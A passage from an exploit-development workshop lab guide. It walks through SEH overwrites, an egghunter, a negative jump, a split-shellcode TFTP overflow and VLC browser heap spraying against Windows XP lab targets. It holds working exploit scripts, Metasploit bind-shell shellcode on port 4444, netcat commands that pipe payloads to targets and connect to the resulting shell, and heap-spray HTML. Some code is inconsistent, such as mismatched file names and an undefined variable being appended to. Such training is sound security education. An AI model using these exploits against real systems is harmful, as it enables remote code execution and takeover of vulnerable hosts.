 ---------------------------Type This-----------------------------------
8067
 
8068
python warftpd5.py | nc XPSP3-ED-Target-IP 21
8069
 
8070
nc XPSP3-ED-Target-IP 4444
8071
 
8072
 -----------------------------------------------------------------------
8073
8074
##########################
8075
# Lab 1c: SEH Overwrites #
8076
##########################
8077
 
8078
    #################################################
8079
    # On our VictimXP Host (XPSP3-ED-Target-IP)     #
8080
    # Start sipXexPhone if it isn’t already running #
8081
    # Start WinDBG                                  #
8082
    # Press “F6” and Attach to sipXexPhone.exe      #
8083
    # Press “F5” to start the debugger              #
8084
    #################################################
8085
 
8086
 ---------------------------Type This-----------------------------------
8087
 
8088
cd C:\Documents and Settings\strategic security\Desktop\ED-Workshop-Files\Lab1c\sipx_complete
8089
 
8090
 
8091
 
8092
python sipex0.py XPSP3-ED-Target-IP
8093
 
8094
    0:003> !exchain
8095
    0:003> dds esp
8096
    0:003> dds
8097
 
8098
python sipex1.py XPSP3-ED-Target-IP
8099
 
8100
    0:003> !exchain
8101
    0:003> g
8102
 
8103
    When looking at !exchain you should see that EIP is 41414141, so let’s add more characters.
8104
 
8105
 
8106
python sipex2.py XPSP3-ED-Target-IP
8107
 
8108
    0:003> !exchain
8109
    0:003> g
8110
 
8111
 
8112
    ***ssh into instructor Ubuntu host***
8113
    cd /home/strategicsec/toolz/metasploit/tools/exploit
8114
    ruby pattern_offset.rb 41346941             We should see that SEH is at 252
8115
 
8116
 
8117
 
8118
    !load narly
8119
    !nmod
8120
 
8121
    ***ssh into the Ubuntu host***
8122
    ls /home/strategicsec/toolz/metasploit/DLLs/xpsp3/sipXDLLs/
8123
    cd /home/strategicsec/toolz/metasploit/
8124
    ./msfpescan -p DLLs/xpsp3/sipXDLLs/sipxtapi.dll
8125
 
8126
  -----------------------------------------------------------------------
8127
8128
    #####################################
8129
    # sipex3.py in Notepad++.           #
8130
    # Set cseq = 252                    #
8131
    # Set seh2 address to: 0x10015977   #
8132
    #####################################
8133
 
8134
---------------------------Type This-----------------------------------
8135
 
8136
python sipex3.py XPSP3-ED-Target-IP
8137
    0:003> !exchain
8138
 
8139
python sipex4.py XPSP3-ED-Target-IP
8140
 
8141
 
8142
 
8143
nc XPSP3-ED-Target-IP 4444
8144
 
8145
 -----------------------------------------------------------------------
8146
 
8147
 
8148
 
8149
 
8150
Brush up on the basics of Structured Exception Handlers:
8151
http://www.securitytube.net/video/1406
8152
http://www.securitytube.net/video/1407
8153
http://www.securitytube.net/video/1408
8154
 
8155
 
8156
8157
8158
 
8159
 
8160
########################################
8161
# Lab 2a: Not Enough Space (Egghunter) #
8162
########################################
8163
8164
---------------------------Type This-----------------------------------
8165
 
8166
cd C:\Documents and Settings\strategic security\Desktop\ED-Workshop-Files\Lab2a\sws_skeleton
8167
-----------------------------------------------------------------------
8168
 
8169
SWS - SIMPLE WEB SERVER
8170
-----------------------
8171
 
8172
Running SWS on Strategicsec-XP-ED-Target-VM
8173
Start > Programs > Simple Web Server (it's in the middle somewhere)
8174
Red icon in system tray
8175
Double click it
8176
- it will pop up a menu
8177
- select "start"
8178
- dialog box shows starting params - port 82
8179
 
8180
WinDBG
8181
- attach to "server.exe"
8182
 
8183
---------------------------Type This-----------------------------------
8184
8185
python sws1.py | nc XPSP3-ED-Target-IP 82
8186
 
8187
 
8188
 
8189
python sws2.py | nc XPSP3-ED-Target-IP 82
8190
 
8191
 
8192
SSH into the Ubuntu host (user: strategicsec/pass: strategicsec)
8193
cd /home/strategicsec/toolz/metasploit/tools/exploit
8194
ruby pattern_offset.rb 41356841             <------- You should see that EIP is at 225
8195
ruby pattern_offset.rb 68413668             <------- You should see that ESP is at 229
8196
 
8197
 
8198
-----------------------------------------------------------------------
8199
8200
 
8201
 
8202
 
8203
 
8204
 
8205
EGGHUNTER:
8206
----------
8207
 
8208
"\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74"
8209
"\xEF\xB8\x41\x42\x42\x41\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7"
8210
          ^^^^^^^^^^^^^^^^
8211
               ABBA
8212
                                         JMP ESP
8213
                                        /
8214
                                       /
8215
GET /AAAAAAAAAAA...225...AAAAAAAAAA[ EIP ]$egghunter HTTP/1.0
8216
User-Agent: ABBAABBA LARGE SHELLCODE (Alpha2 encoded)
8217
 
8218
 
8219
 
8220
 
8221
-----sws3.py-----
8222
#!/usr/bin/python2
8223
 
8224
import os # for output setting
8225
import sys
8226
import struct # for pack function
8227
 
8228
# turn off output buffer and set binary mode
8229
sys.stdout = os.fdopen(sys.stdout.fileno(), 'wb', 0)
8230
 
8231
 
8232
pad = "A" * 225        # distance to EIP
8233
eip = 0x7e429353       # replace EIP to point to "jmp esp" from user32.dll
8234
 
8235
egghunter = "\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74"
8236
egghunter += "\xEF\xB8\x41\x42\x42\x41\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7"
8237
 
8238
shellcode = "\xCC" * 700
8239
 
8240
buf = "GET /"
8241
buf += pad + struct.pack('<I', eip) + egghunter
8242
buf += " HTTP/1.0\r\n"
8243
buf += "User-Agent: ABBAABBA"
8244
buf += shellcode
8245
buf += " HTTP/1.0\r\n"
8246
 
8247
sys.stdout.write(buf)
8248
-----
8249
8250
8251
8252
8253
############################################
8254
# Lab 2b: Not Enough Space (Negative Jump) #
8255
############################################
8256
---------------------------Type This-----------------------------------
8257
8258
cd C:\Documents and Settings\strategic security\Desktop\ED-Workshop-Files\Lab2a\modjk_skeleton
8259
-----------------------------------------------------------------------
8260
8261
 
8262
[pad = distance_to_seh - len(shellcode) ] [ shellcode] [jmp4 = "\x90\x90\xEB\x04"] [eip (pop pop ret)] [jmp_min = "\xE9\x98\xEF\xFF\xFF"]
8263
 
8264
                                                                        ^
8265
1 ----------------------1 overflow the buffer---------------------------|
8266
                                                                       
8267
                                                                        ^                            ^
8268
                                                                        |
8269
                                                                        2 ----jump over seh record---|
8270
 
8271
                                                                                                     ^                          ^      
8272
                                                                                                     |
8273
                                                                                                     3--POP 2 words off stack---|
8274
 
8275
                                                                                                                                        ^                                      
8276
4 -----negative jump into NOPs - then into shellcode -----------------------------------------------------------------------------------|
8277
 
8278
 
8279
#########################################
8280
# Lab 2c: Not Enough Space (Trampoline) #
8281
#########################################
8282
 
8283
cd C:\Documents and Settings\strategic security\Desktop\ED-Workshop-Files\Lab2c\tftpd_skeleton
8284
On the Strategicsec-XP-ED-Target-VM VM
8285
 
8286
- open a command prompt
8287
- c:\software\tftpd32
8288
- run tftpd32.exe
8289
- UDP port 69
8290
(socket code is already in the scripts)
8291
 
8292
 
8293
 
8294
 
8295
On your attack host please install:
8296
 
8297
 
8298
  NASM - Netwide Assembler
8299
 
8300
 
8301
 
8302
 
8303
 
8304
-----------------------------------------------------------------------------------------------------------------
8305
 
8306
 
8307
We want to generate the shellcode (BIND SHELL on Port 4444)
8308
- No restricted characters
8309
- Encoder: NONE
8310
 
8311
Create a Python file called dumpshellcode.py
8312
 
8313
---
8314
#!/usr/bin/python2
8315
 
8316
import os
8317
import sys
8318
import struct
8319
 
8320
 
8321
# win32_bind -  EXITFUNC=seh LPORT=4444 Size=317 Encoder=None http://metasploit.com
8322
shellcode = "\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45"
8323
shellcode += "\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49"
8324
shellcode += "\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d"
8325
shellcode += "\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66"
8326
shellcode += "\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61"
8327
shellcode += "\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40"
8328
shellcode += "\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32"
8329
shellcode += "\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6"
8330
shellcode += "\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09"
8331
shellcode += "\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x53\x43\x53\x43\x53\xff\xd0"
8332
shellcode += "\x66\x68\x11\x5c\x66\x53\x89\xe1\x95\x68\xa4\x1a\x70\xc7\x57\xff"
8333
shellcode += "\xd6\x6a\x10\x51\x55\xff\xd0\x68\xa4\xad\x2e\xe9\x57\xff\xd6\x53"
8334
shellcode += "\x55\xff\xd0\x68\xe5\x49\x86\x49\x57\xff\xd6\x50\x54\x54\x55\xff"
8335
shellcode += "\xd0\x93\x68\xe7\x79\xc6\x79\x57\xff\xd6\x55\xff\xd0\x66\x6a\x64"
8336
shellcode += "\x66\x68\x63\x6d\x89\xe5\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89"
8337
shellcode += "\xe2\x31\xc0\xf3\xaa\xfe\x42\x2d\xfe\x42\x2c\x93\x8d\x7a\x38\xab"
8338
shellcode += "\xab\xab\x68\x72\xfe\xb3\x16\xff\x75\x44\xff\xd6\x5b\x57\x52\x51"
8339
shellcode += "\x51\x51\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53"
8340
shellcode += "\xff\xd6\x6a\xff\xff\x37\xff\xd0\x8b\x57\xfc\x83\xc4\x64\xff\xd6"
8341
shellcode += "\x52\xff\xd0\x68\xf0\x8a\x04\x5f\x53\xff\xd6\xff\xd0"
8342
 
8343
sys.stdout.write(shellcode)
8344
---
8345
 
8346
---------------------------Type This-----------------------------------
8347
8348
 
8349
python dumpshell.py > bindshell.bin
8350
 
8351
copy bindshellcode.bin into the "c:\Program Files\nasm" directory
8352
-----------------------------------------------------------------------
8353
 
8354
 
8355
 
8356
Here we saved the raw shellcode generated by metasploit into a file called bindshell.bin
8357
317 bindshell.bin
8358
---------------------------Type This-----------------------------------
8359
 
8360
C:\Program Files\nasm>ndisasm -b 32 bindshell.bin
8361
-----------------------------------------------------------------------
8362
8363
00000000  FC                cld
8364
00000001  6AEB              push byte -0x15
8365
00000003  4D                dec ebp
8366
00000004  E8F9FFFFFF        call dword 0x2
8367
00000009  60                pushad
8368
0000000A  8B6C2424          mov ebp,[esp+0x24]
8369
0000000E  8B453C            mov eax,[ebp+0x3c]
8370
00000011  8B7C0578          mov edi,[ebp+eax+0x78]
8371
00000015  01EF              add edi,ebp
8372
00000017  8B4F18            mov ecx,[edi+0x18]
8373
0000001A  8B5F20            mov ebx,[edi+0x20]
8374
0000001D  01EB              add ebx,ebp
8375
0000001F  49                dec ecx
8376
00000020  8B348B            mov esi,[ebx+ecx*4]
8377
00000023  01EE              add esi,ebp
8378
00000025  31C0              xor eax,eax
8379
00000027  99                cdq
8380
00000028  AC                lodsb
8381
00000029  84C0              test al,al
8382
0000002B  7407              jz 0x34
8383
0000002D  C1CA0D            ror edx,0xd
8384
00000030  01C2              add edx,eax
8385
00000032  EBF4              jmp short 0x28
8386
00000034  3B542428          cmp edx,[esp+0x28]
8387
00000038  75E5              jnz 0x1f
8388
0000003A  8B5F24            mov ebx,[edi+0x24]
8389
0000003D  01EB              add ebx,ebp
8390
0000003F  668B0C4B          mov cx,[ebx+ecx*2]
8391
00000043  8B5F1C            mov ebx,[edi+0x1c]
8392
00000046  01EB              add ebx,ebp
8393
00000048  032C8B            add ebp,[ebx+ecx*4]
8394
0000004B  896C241C          mov [esp+0x1c],ebp
8395
0000004F  61                popad
8396
00000050  C3                ret
8397
00000051  31DB              xor ebx,ebx
8398
00000053  648B4330          mov eax,[fs:ebx+0x30]
8399
00000057  8B400C            mov eax,[eax+0xc]
8400
0000005A  8B701C            mov esi,[eax+0x1c]
8401
0000005D  AD                lodsd
8402
0000005E  8B4008            mov eax,[eax+0x8]
8403
00000061  5E                pop esi
8404
00000062  688E4E0EEC        push dword 0xec0e4e8e
8405
00000067  50                push eax
8406
00000068  FFD6              call esi
8407
0000006A  6653              push bx
8408
0000006C  66683332          push word 0x3233
8409
00000070  687773325F        push dword 0x5f327377
8410
00000075  54                push esp
8411
00000076  FFD0              call eax
8412
00000078  68CBEDFC3B        push dword 0x3bfcedcb
8413
0000007D  50                push eax
8414
0000007E  FFD6              call esi                     PART 1
8415
00000080  5F                pop edi
8416
00000081  89E5              mov ebp,esp
8417
00000083  6681ED0802        sub bp,0x208
8418
00000088  55                push ebp
8419
00000089  6A02              push byte +0x2
8420
0000008B  FFD0              call eax
8421
0000008D  68D909F5AD        push dword 0xadf509d9
8422
00000092  57                push edi
8423
00000093  FFD6              call esi
8424
00000095  53                push ebx
8425
00000096  53                push ebx
8426
--------------------------------------------CUTCUTCUTCUTCUT----8<---8<---8<---
8427
00000097  53                push ebx
8428
00000098  53                push ebx
8429
00000099  53                push ebx
8430
0000009A  43                inc ebx
8431
0000009B  53                push ebx
8432
0000009C  43                inc ebx
8433
0000009D  53                push ebx                       PART 2
8434
0000009E  FFD0              call eax
8435
000000A0  6668115C          push word 0x5c11
8436
000000A4  6653              push bx
8437
000000A6  89E1              mov ecx,esp
8438
000000A8  95                xchg eax,ebp
8439
000000A9  68A41A70C7        push dword 0xc7701aa4
8440
000000AE  57                push edi
8441
000000AF  FFD6              call esi
8442
000000B1  6A10              push byte +0x10
8443
000000B3  51                push ecx
8444
000000B4  55                push ebp
8445
000000B5  FFD0              call eax
8446
000000B7  68A4AD2EE9        push dword 0xe92eada4
8447
000000BC  57                push edi
8448
000000BD  FFD6              call esi
8449
000000BF  53                push ebx
8450
000000C0  55                push ebp
8451
000000C1  FFD0              call eax
8452
000000C3  68E5498649        push dword 0x498649e5
8453
000000C8  57                push edi
8454
000000C9  FFD6              call esi
8455
000000CB  50                push eax
8456
000000CC  54                push esp
8457
000000CD  54                push esp
8458
000000CE  55                push ebp
8459
000000CF  FFD0              call eax
8460
000000D1  93                xchg eax,ebx
8461
000000D2  68E779C679        push dword 0x79c679e7
8462
000000D7  57                push edi
8463
000000D8  FFD6              call esi
8464
000000DA  55                push ebp
8465
000000DB  FFD0              call eax
8466
000000DD  666A64            push word 0x64
8467
000000E0  6668636D          push word 0x6d63
8468
000000E4  89E5              mov ebp,esp
8469
000000E6  6A50              push byte +0x50
8470
000000E8  59                pop ecx
8471
000000E9  29CC              sub esp,ecx
8472
000000EB  89E7              mov edi,esp
8473
000000ED  6A44              push byte +0x44
8474
000000EF  89E2              mov edx,esp
8475
000000F1  31C0              xor eax,eax
8476
000000F3  F3AA              rep stosb
8477
000000F5  FE422D            inc byte [edx+0x2d]
8478
000000F8  FE422C            inc byte [edx+0x2c]
8479
000000FB  93                xchg eax,ebx
8480
000000FC  8D7A38            lea edi,[edx+0x38]
8481
000000FF  AB                stosd
8482
00000100  AB                stosd
8483
00000101  AB                stosd
8484
00000102  6872FEB316        push dword 0x16b3fe72
8485
00000107  FF7544            push dword [ebp+0x44]
8486
0000010A  FFD6              call esi
8487
0000010C  5B                pop ebx
8488
0000010D  57                push edi
8489
0000010E  52                push edx
8490
0000010F  51                push ecx
8491
00000110  51                push ecx
8492
00000111  51                push ecx
8493
00000112  6A01              push byte +0x1
8494
00000114  51                push ecx
8495
00000115  51                push ecx
8496
00000116  55                push ebp
8497
00000117  51                push ecx
8498
00000118  FFD0              call eax
8499
0000011A  68ADD905CE        push dword 0xce05d9ad
8500
0000011F  53                push ebx
8501
00000120  FFD6              call esi
8502
00000122  6AFF              push byte -0x1
8503
00000124  FF37              push dword [edi]
8504
00000126  FFD0              call eax
8505
00000128  8B57FC            mov edx,[edi-0x4]
8506
0000012B  83C464            add esp,byte +0x64
8507
0000012E  FFD6              call esi
8508
00000130  52                push edx
8509
00000131  FFD0              call eax
8510
00000133  68F08A045F        push dword 0x5f048af0
8511
00000138  53                push ebx
8512
00000139  FFD6              call esi
8513
0000013B  FFD0              call eax
8514
 
8515
 
8516
 
8517
 
8518
part1 = "\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45"
8519
part1 += "\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49"
8520
part1 += "\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d"
8521
part1 += "\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66"
8522
part1 += "\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61"
8523
part1 += "\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40"
8524
part1 += "\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32"
8525
part1 += "\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6"
8526
part1 += "\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09"
8527
part1 += "\xf5\xad\x57\xff\xd6\x53\x53"
8528
 
8529
 
8530
part2 = "\x53\x53\x53\x43\x53\x43\x53\xff\xd0"
8531
part2 += "\x66\x68\x11\x5c\x66\x53\x89\xe1\x95\x68\xa4\x1a\x70\xc7\x57\xff"
8532
part2 += "\xd6\x6a\x10\x51\x55\xff\xd0\x68\xa4\xad\x2e\xe9\x57\xff\xd6\x53"
8533
part2 += "\x55\xff\xd0\x68\xe5\x49\x86\x49\x57\xff\xd6\x50\x54\x54\x55\xff"
8534
part2 += "\xd0\x93\x68\xe7\x79\xc6\x79\x57\xff\xd6\x55\xff\xd0\x66\x6a\x64"
8535
part2 += "\x66\x68\x63\x6d\x89\xe5\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89"
8536
part2 += "\xe2\x31\xc0\xf3\xaa\xfe\x42\x2d\xfe\x42\x2c\x93\x8d\x7a\x38\xab"
8537
part2 += "\xab\xab\x68\x72\xfe\xb3\x16\xff\x75\x44\xff\xd6\x5b\x57\x52\x51"
8538
part2 += "\x51\x51\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53"
8539
part2 += "\xff\xd6\x6a\xff\xff\x37\xff\xd0\x8b\x57\xfc\x83\xc4\x64\xff\xd6"
8540
part2 += "\x52\xff\xd0\x68\xf0\x8a\x04\x5f\x53\xff\xd6\xff\xd0"
8541
 
8542
 
8543
STACK SHIFTER:
8544
prepend = "\x81\xC4\xFF\xEF\xFF\xFF"  # add esp, -1001h
8545
prepend += "\x44"                     # inc esp
8546
 
8547
 
8548
 
8549
 
8550
 
8551
 
8552
 
8553
 
8554
 
8555
 
8556
 
8557
 
8558
 
8559
 
8560
---- final script ----
8561
 
8562
#!/usr/bin/python2
8563
#TFTP Server remote Buffer Overflow
8564
 
8565
import sys
8566
import socket
8567
import struct
8568
 
8569
if len(sys.argv) < 2:
8570
        sys.stderr.write("Usage: tftpd.py <host>\n")
8571
        sys.exit(1)
8572
 
8573
target = sys.argv[1]
8574
port = 69
8575
 
8576
eip = 0x7e429353         # jmp esp in USER32.DLL
8577
 
8578
part1 += "\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45"
8579
part1 += "\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49"
8580
part1 += "\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d"
8581
part1 += "\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66"
8582
part1 += "\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61"
8583
part1 += "\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40"
8584
part1 += "\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32"
8585
part1 += "\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6"
8586
part1 += "\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09"
8587
part1 += "\xf5\xad\x57\xff\xd6\x53\x53"
8588
 
8589
part2 = "\x53\x53\x53\x43\x53\x43\x53\xff\xd0"
8590
part2 += "\x66\x68\x11\x5c\x66\x53\x89\xe1\x95\x68\xa4\x1a\x70\xc7\x57\xff"
8591
part2 += "\xd6\x6a\x10\x51\x55\xff\xd0\x68\xa4\xad\x2e\xe9\x57\xff\xd6\x53"
8592
part2 += "\x55\xff\xd0\x68\xe5\x49\x86\x49\x57\xff\xd6\x50\x54\x54\x55\xff"
8593
part2 += "\xd0\x93\x68\xe7\x79\xc6\x79\x57\xff\xd6\x55\xff\xd0\x66\x6a\x64"
8594
part2 += "\x66\x68\x63\x6d\x89\xe5\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89"
8595
part2 += "\xe2\x31\xc0\xf3\xaa\xfe\x42\x2d\xfe\x42\x2c\x93\x8d\x7a\x38\xab"
8596
part2 += "\xab\xab\x68\x72\xfe\xb3\x16\xff\x75\x44\xff\xd6\x5b\x57\x52\x51"
8597
part2 += "\x51\x51\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53"
8598
part2 += "\xff\xd6\x6a\xff\xff\x37\xff\xd0\x8b\x57\xfc\x83\xc4\x64\xff\xd6"
8599
part2 += "\x52\xff\xd0\x68\xf0\x8a\x04\x5f\x53\xff\xd6\xff\xd0"
8600
 
8601
prepend = "\x81\xC4\xFF\xEF\xFF\xFF"                    # add esp, -1001h
8602
prepend += "\x44"                                       # inc esp
8603
 
8604
buf = "\x00\x01"                                        # receive command
8605
 
8606
buf += "\x90" * (256 - len(part2))                      # NOPs
8607
buf += part2                                            # shellcode part 2
8608
buf += struct.pack('<I', eip)                           # EIP (JMP ESP)
8609
buf += prepend                                          # stack shifter
8610
buf += part1                                            # shellcode part 1
8611
buf += "\xE9" + struct.pack('<i', -380)                 # JMP -380
8612
buf += "\x00"                                           # END
8613
 
8614
# print buf
8615
 
8616
# buf = "\x00\x01"                                      # receive command
8617
 
8618
# buf += "A" * 300 + "\x00"
8619
 
8620
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
8621
 
8622
try:
8623
        sock.connect((target, port))
8624
        sock.sendall(buf)
8625
except Exception as e:
8626
        sys.stderr.write("Cannot send to "+str(target)+" : "+str(port)+" : "+str(e)+"!\n")
8627
finally:
8628
        sock.close()
8629
        sys.stderr.write("Sent.\n")
8630
 
8631
 
8632
 
8633
-----------------------------------------------------------------------------------------------------------------
8634
 
8635
 
8636
 
8637
 
8638
How does all of this actually work
8639
 
8640
 
8641
 
8642
 
8643
Total shellcode length:         315
8644
       
8645
                                Part1:  150
8646
                                Part2:  165
8647
 
8648
 
8649
NOPS * (256 - 165)
8650
 
8651
91 NOPS + (165 bytes shellcode p2) + JMP ESP (4 bytes) + Stack Shift (-1000) + (150 bytes shellcode p1) + (neg jmp -380)
8652
                        |                       |                                       |
8653
                        256                     260                                     150 (410)               |
8654
  |<------------------------------------------------------------------------------------------------------------|                                                                                                                                                              
8655
 Jump to the
8656
 30 byte mark
8657
 
8658
 
8659
 
8660
############################
8661
# Lab 3: Browsers Exploits #
8662
############################
8663
8664
---------------------------Type This-----------------------------------
8665
 
8666
cd C:\Documents and Settings\strategic security\Desktop\ED-Workshop-Files\Lab3\ffvlc_skeleton
8667
-----------------------------------------------------------------------
8668
8669
8670
Quicktime - overflow, if we send a very long rtsp:// URL, Quicktime crashes
8671
rtsp://AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA......50000
8672
 
8673
<object id=quicktime clsid="999-999999-99-99999">
8674
  <param name="URL" value="rtsp://AAAAAAAAAAAAAAAAAAAAAAAAA....">
8675
</object>
8676
 
8677
var buf = "";
8678
for(i = 0; i < 50000; i++)
8679
   buf += "A";
8680
var myobject = document.getElementById("quicktime");
8681
myobject.url = buf;
8682
 
8683
YOU CAN PRE-LOAD THE PROCESS MEMORY MORE OR LESS IN A WAY YOU LIKE BEFORE TRIGGERING THE EXPLOIT!!!!
8684
 
8685
- Browsers (Flash)
8686
- PDF
8687
- MS Office / OOo
8688
 
8689
VLC smb:// exploit
8690
------------------
8691
 
8692
EXPLOIT VECTOR
8693
 
8694
smb://example.com@0.0.0.0/foo/#{AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA}
8695
 
8696
Exploit Scripts
8697
- ffvlc
8698
 
8699
ON YOUR HOST, RUN THE WEBSERVER ON PORT 8080
8700
8701
---------------------------Type This-----------------------------------
8702
 
8703
perl daemon.pl vlc0.html
8704
-----------------------------------------------------------------------
8705
 
8706
ON YOUR Strategicsec-XP-ED-Target-VM VM, START FIREFOX
8707
Browse to http://your_host_ip_address:8080/
8708
 
8709
vlc0.html
8710
---------
8711
<script>
8712
   var buf = "";
8713
   for(i = 0; i < 1250; i++)
8714
      buf += unescape("%41%41%41%41");
8715
   var track = "smb://example.com\@0.0.0.0/foo/#{" + buf + "}";
8716
   document.write("<embed type='application/x-vlc-plugin' target='" + track + "' />");
8717
</script>
8718
 
8719
vlc1.html
8720
---------
8721
<script>
8722
 
8723
   // shellcode created in heap memory
8724
   var shellcode = unescape("%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc");
8725
 
8726
   // 800K block of NOPS
8727
   var nop = unescape("%u9090%u09090");   // 4 NOPS
8728
   while(nop.length < 0xc0000) {
8729
      nop += nop;
8730
   }
8731
 
8732
   // spray the heap with NOP+shellcode
8733
   var memory = new Array();
8734
   for(i = 0; i < 50; i++) {
8735
      memory[i] = nop + shellcode;
8736
   }
8737
 
8738
   // build the exploit payload
8739
   var buf = "";
8740
   for(i = 0; i < 1250; i++)
8741
      buf += unescape("%41%41%41%41");
8742
   var track = "smb://example.com\@0.0.0.0/foo/#{" + buf + "}";
8743
 
8744
   // trigger the exploit
8745
   document.write("<embed type='application/x-vlc-plugin' target='" + track + "' />");
8746
</script>
8747
8748
---------------------------Type This-----------------------------------
8749
 
8750
perl daemon.pl vlc1.html
8751
-----------------------------------------------------------------------
8752
 
8753
Search for where our NOPS+shellcode lies in the heap
8754
 
8755
s 0 l fffffff 90 90 90 90 cc cc cc cc
8756
 
8757
0:019> s 0 l fffffff 90 90 90 90 cc cc cc cc
8758
03dffffc  90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc  ................
8759
040ffffc  90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc  ................
8760
043ffffc  90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc  ................
8761
046ffffc  90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc  ................
8762
049ffffc  90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc  ................
8763
04cffffc  90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc  ................
8764
04fffffc  90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc  ................
8765
052ffffc  90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc  ................
8766
055ffffc  90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc  ................
8767
058ffffc  90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc  ................
8768
05bffffc  90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc  ................
8769
05effffc  90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc  ................
8770
061ffffc  90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc  ................
8771
064ffffc  90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc  ................
8772
067ffffc  90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc  ................
8773
06affffc  90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc  ................
8774
 
8775
Edit vlc2.html
8776
replace %41%41%41%41 with %07%07%07%07
8777
 
8778
(928.fd0): Break instruction exception - code 80000003 (first chance)
8779
eax=fffffd66 ebx=07070707 ecx=77c2c2e3 edx=00340000 esi=07070707 edi=07070707
8780
eip=07100000 esp=0e7afc58 ebp=07070707 iopl=0         nv up ei pl nz ac pe nc
